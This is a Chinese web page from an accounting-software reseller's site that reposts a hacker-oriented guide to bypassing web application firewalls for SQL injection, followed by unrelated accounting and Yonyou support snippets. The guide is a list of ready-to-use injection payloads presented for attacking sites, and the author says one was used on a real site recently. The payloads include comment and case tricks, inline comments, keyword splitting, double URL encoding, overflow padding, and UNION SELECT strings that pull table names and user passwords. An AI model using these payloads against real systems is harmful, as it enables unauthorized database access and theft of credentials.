用友软件首页

见招拆招:绕过WAF继续SQL注入常用方法

2019-4-10 8:0:0 wondial

见招拆招:绕过WAF继续SQL注入常用方法

见招拆招:绕过WAF继续SQL注入常用方法

  这篇文章之前的名字叫做:WAF bypass for SQL injection #理论篇,我于6月17日投稿了Freebuf。链接:点击这里 现博客恢复,特发此处。

  Web Hacker总是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断绕过。WAF bypass是一个永恒的话题,不少基友也总结了很多奇技怪招。那今天我在这里做个小小的扫盲吧。先来说说WAF bypass是啥。

    WAF呢,简单说,它是一个Web应用程序防火墙,其功能呢是用于过滤某些恶意请求与某些关键字。WAF仅仅是一个工具,帮助你防护网站来的。但是如果你代码写得特别渣渣,别说WAF帮不了你,就连wefgod都帮不了你…所以不能天真的以为用上WAF你的网站就百毒不侵了。开始正题—-

1>注释符

    相信很多朋友都知道SQL的注释符吧,这算是绕WAF用的最广泛的了。它们允许我们绕过很多Web应用程序防火墙和限制,我们可以注释掉一些sql语句,然后让其只执行攻击语句而达到入侵目的。

    常用注释符:

//, -- , /**/, #, --+, -- -, ;%00

2>情况改变

    然而,以前审计的一些开源程序中,有些厂商的过滤很不严谨,一些是采用黑名单方式过滤,但是有些只过滤了小写形式,然而在传参的时候并没有将接收参数转换为小写进行匹配。针对这种情况,我们很简单就能绕过。

    比如它的过滤语句是:

/unionsselect/g

  那么我们就可以这样构造:

id=1+UnIoN/**/SeLeCT

3>内联注释

    有些WAF的过滤关键词像/unionsselect/g,就比如上面说的,很多时候我都是采用内联注释。更复杂的例子需要更先进的方法。比如添加了SQL关键字,我们就要进一步分离这两个词来绕过这个过滤器。

id=1/*!UnIoN*/SeLeCT

采用/*! code */来执行我们的SQL语句。内联注释可以用于整个SQL语句中。所以如果table_name或者者information_schema进行了过滤,我们可以添加更多的内联注释内容。

比如一个过滤器过滤了:

union,where, table_name, table_schema, =, and information_schema

  这些都是我们内联注释需要绕过的目标。所以通常利用内联注释进行如下方式绕过:

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =

    当一切似乎失败了之后,你可以尝试通过应用防火墙关闭SQL语句中使用的变量:

id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -

即使常见内联注释本身没有工作,上述的代码也应该可以绕过union+select过滤器。

4>缓冲区溢出:

    意想不到的输入:

    我们知道,很多的WAFS都是C语言的,他们在装载一堆数据的时候,很容易就会溢出。下面描述的就是一个这样的WAF,当它接收到大量数据恶意的请求和响应时。

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+

上面的bypass语句,我在最近的一个网站绕过上用到了。

5>替换关键字(preg_replace and/or都能达到相同目的):

    有时程序会删除所有的关键字,例如,有一个过滤器,他会把union select变成空白,这时我们可以采用以下方式进行绕过:

id=1+UNIunionON+SeLselectECT+1,2,3–

    不难明白吧?union和select变成空白了,两边的又会重新组合成新的查询。

UNION+SELECT+1,2,3--

6>Character编码:

    有些情况下,WAF对应用程序中的输入进行解码,但是有些WAF是只过滤解码一次的,所以只要我们对bypass语句进行双重编码就能将其绕过之。(WAF解码一次然后过滤,之后的SQL语句就会被自动解码直接执行了~)

    双重编码bypass语句示例:

id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

    一些双重编码举例:

单引号:'%u0027%u02b9%u02bc%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7空白:%u0020%uff00%c0%20%c0%a0%e0%80%a0左括号(:%u0028%uff08%c0%28%c0%a8%e0%80%a8右括号):%u0029%uff09%c0%29%c0%a9%e0%80%a9

  7>综合:

绕过几个简单的WAF之后,后面的任务也越来越容易了~下面说几种方法来绕过你的目标WAF。

    7a>拆散SQL语句:

    通常的做法是:需要把SQL注入语句给拆散,来检查是哪个关键字被过滤了。比如,如果你输入的是union+select语句,给你报了一个403或内部服务器错误,什么union不合法什么的,就知道过滤了哪些了,也是常见的Fuzzing测试。这是制造bypass语句的前提。

    7b>冗长的报错:

    当你的sql语法输入错误时、对方网站又没关闭错误回显的时候,会爆出一大堆错误,在php中更会爆出敏感的网站根目录地址。aspx则会爆出整个语法错误详细信息。

    比如你输入的语法是:

id=1+Select+1,2,3--

   会给你报出以下错误:

Error at line 1 near ' '+1,2,3--

  上面也说过了黑名单方式过滤,也可以采用以下方式进行绕过:

sel%0bect+1,2,3

 这只是众多方法之一,绕过不同WAF需要不同的bypass思路。

8>高级bypass技巧:

    正如前面所说的,当你尝试着绕过几个WAF之后,你会觉得其实他并不难,会感觉到很有趣,很有挑战性 :b  ,当你在注入的时候发现自己被WAF之后,不要想要放弃,尝试挑战一下,看看它过滤了什么,什么语法允许,什么语法不允许。当然,你也可以尝试暴力一些,就把它当成inflatable doll, [;:{}()*&
/|<>?''] 中括号里的这些特殊字符不是留着摆设的撒~能报个错出来都是颇为自豪的,骚年,你说对不对?

    但是,如果你试了N个语句,都tm被过滤了,整个人都快崩溃了,该怎么办?很简单,打开音乐播放器,放一首小苹果放松一下。然后把WAF过滤的东东全部copy下来,仔细分析!俗话怎么说来着,世上无难事,只怕有心人。

    举例来说,比如你分析到最后,发现所有的*都被换成空白了,就意味着你不能使用内联注释了,union+select也会给你返回一个403错误,在这种情况下,你应该充分利用*被替换成空白:

id=1+uni*on+sel*ect+1,2,3--+

  这样的话,*被过滤掉了,但是union+select被保留下来了。这是常见的WAF bypass技巧,当然不仅仅是union+select,其他的语法被过滤了都可以采用这种的。找到被替换的那个关键字,你就能找到绕过的方法。

    一些常见的bypass:

id=1+(UnIoN)+(SelECT)+id=1+(UnIoN+SeLeCT)+id=1+(UnI)(oN)+(SeL)(EcT)id=1+'UnI''On'+'SeL''ECT' <-MySQL onlyid=1+'UnI'||'on'+SeLeCT' <-MSSQL only

注意:在mysql4.0种,UNI /**/ON+SEL/**/ ECT是没办法用的。

结语:WAF的姿势取决于你思维的扩散,自我感觉在WAF bypass的过程中能找到很多乐趣,不是吗?更多姿势欢迎pm我。

推荐几本SQL注入与Web安全方面的书:

《SQL注入攻击与防御》

《黑客攻防宝典-Web实战篇》

《PHP Security》 这一本适合PHP开发人员阅读

《Web Security》

如果您的问题还没有解决,可以到 T+搜索>>上找一下答案

分享到:

微博关注

bj用友软件

最新信息

经济责任审计的四个结合 _0

经济责任审计的四个结合 _0经济责任审计的四个结合

  一是经济责任审计要实行政府审计与内部审计、社会审计相结合。

  1999年5月,中办、国办《关于县级以下党政领导干部任期经济责任审计暂行规定》和《国有企业及国有控股企业领导人员任期经济责任审计暂行规定》颁发以来,在经济责任审计中审计人员力量不足与审计覆盖面不大的问题非常突出。为了有效地解决这个问题,在市、县机构改革中,要充分考虑实际情况,给审计机关增加一定数量的编制,成立经济责任审计的专门机构,具体承办经济责任审计的日常工作。此外,面对经济责任审计对象集中出现的情况,还要注意充分发挥内部审计和社会审计的作用,采取政府审计牵头,内部审计和社会审计参与或政府审计牵头,会计主管部门参加并由有实际工作经验的会计师、审计师组成的力量,有重点、有步骤地分期分批实施。

Win2008r2系统sql2008r2数据库,安装了T十12.0,加密锁注册一直为-未下载读加密锁驱动,-信任站点加过,流览器为IE8,控件已启用怎么处理

Win2008r2系统sql2008r2数据库,安装了T十12.0,加密锁注册一直为-未下载读加密锁驱动,-信任站点加过,流览器为IE8,控件已启用怎么处理 Win2008r2系统sql2008r2数据库,安装了T十12.0,加密锁注册一直为:未下载读加密锁驱动,信任站点加过,流览器为IE8,控件已启用怎么处理[]

您参照知识库文档排查下是否有哪个步骤没有操作好:http://service.chanjet.com/zhi ... abcbb

热点文章

新闻资讯

  • 【新年首签】天津用友&通广集团签署战略协议

    【新年首签】天津用友&通广集团签署战略协议

    天津用友软件技术有限公司(以下简称天津用友)和天津通信广播集团有限公司(以下简称通广集团)就企业信息化建设事宜进行战略签约。

    参加此次会议有天津用友总经理赵永春,天津用友副总经理王成岩、通广集团副总经理马严、通广集团科技质量部部长尹刚、七一二公司技术质量部部长门国梁、七一二公司技术中心主任黄建尧等。

    image

  • 会计职场堪比宫斗剧

    会计职场堪比宫斗剧

     近几年,各种宫斗剧火爆,《甄嬛传》《芈月传》等等都脍炙人口,许多人经常打趣自己像某个人物,若是在古代能活到第几集。让人不禁想起,会计职场又何尝不是一场宫斗,每天要察言观色,明了领导的内心,就像后宫谁也不敢惹皇后一样。但当你坐上领导位置的时候,盯着你的眼睛就会很多,稍有不慎就会被取代。就像后宫的嫔妃一样,就算坐上了皇后的位置也要时刻担心有没有人觊觎。

    image

知 识 库

  • 用友软件年度结转操作步骤

    用友软件年度结转操作步骤

    用友软件年度结转操作步骤用友软件年度结转操作步骤

      一、在做年度结转前要做好备份,备份步骤如下:
      1、进入系统管理,点注册。
      2、注册用户名,再点确定。
      3、再点击菜单栏中的“账套”,下拉菜单中选择“输出”
      4、选择我们所要备份的账套,选择之后点确认。 
       5、稍后系统会出现画面,如果电脑配置较低,系统会有短暂的没有响应,只要继续等下去就可,系统在压缩数据库。
      6、数据备份完成后,弹出如下对话框,我们再选择自己所要保存数据的路径即可。
      7、选择路径时,一定要确定所选文件夹为打开状态,只要双击要保存的文件夹,再点确认即可完成备份。
      8、备份完成,如果要将数据拷贝到U盘,直接找到备份文件夹,复制到U盘即可。

  • 12.1用友 备份

    12.1用友 备份

    12.1用友 备份

    用友软件提供两种备份方式:手工备份和自动备份,下面我们讲解这两种方式的备份账套数据操作步骤(T6和U8与T3备份恢复方法相同,此处以T3为例):

    ㈠、手工备份

    1、先在硬盘上建立一个空文件夹

    打开我的电脑(双击)D(或E、F)盘,(空白处右击右键)新建文件夹,把这个新建的文件夹,改名为如用友数据手工备份。(双击)打开用友数据手工备份,(右击)出现新建文件夹,把所新建的文件夹改名为当天的备份日期如2016-12-16后退出

  • 最新文章排行
  • 热门文章排行

管理软件

  • T3卸载就会跳到安装界面去,用360工具也卸载不了。请问这种情况哪位老师遇见过,我们应该如何处理。谢谢、在线等。

    T3卸载就会跳到安装界面去,用360工具也卸载不了。请问这种情况哪位老师遇见过,我们应该如何处理。谢谢、在线等。

    T3卸载就会跳到安装界面去,用360工具也卸载不了。请问这种情况哪位老师遇见过,我们应该如何处理。谢谢、在线等。 T3卸载就会跳到安装界面去,用360工具也卸载不了。请问这种情况哪位老师遇见过,我们应该如何处理。谢谢、在线等。[]

    备份好账套,这种情况只能强制删除了,请备份好账套之后,停止数据库服务和T3产品服务,自动备份服务;然后删除T3安装路径以及C盘下ufcomsql文件夹,然后使用360清除无用注册表,最后重启电脑即可;

  • 用友T3无法补录现金流量项目,流量按钮为灰

    用友T3无法补录现金流量项目,流量按钮为灰

    用友T3无法补录现金流量项目,流量按钮为灰 用友T3无法补录现金流量项目,流量按钮为灰

    指定了现金流量科目,增加了项目大类,想补录现金流量项目,点开凭证,流量按钮为灰色,无法补录。反记账之后没有反审核,从审核凭证的界面点开,流量按钮就为灰色,只能点退出。1.反记账后的凭证还要反审核,用审核人的操作员重新登录软件;2.总账-凭证-审核凭证-选中月份,点确定-随意双击点开一张凭证-审核-成批取消审核;3.再用记账人的操作员重新登录软件,点开填制凭证,“流量”按钮就可以点了。如有其它问题,请在下面回复疑问,我们将第一时间与您联系,帮助您解决问题。同时您也可以联系用友畅捷通专业服务商-用友天龙瑞德。用友天龙瑞德专业销售用友软件用友财务软件,维护用友T3用友T6用友U8畅捷通T+。我们将竭诚为您服务。联系电话:010-59798025。网址:http://www.kuaiji66.com

关于我们 | 公司动态 | 获奖记录 | 联系我们 | 招聘信息 | 用友产品中心 | 用友云基地
Copyright ©  www.kuaiji66.com  All Rights Reserved 天龙瑞德
京ICP备11046295号-1 技术支持 北京天龙瑞德信息技术有限责任公司   北京海淀上地十街辉煌国际大厦3号楼6层 总机:010-59798025   售后:4009908488
北京天龙瑞德信息技术有限责任公司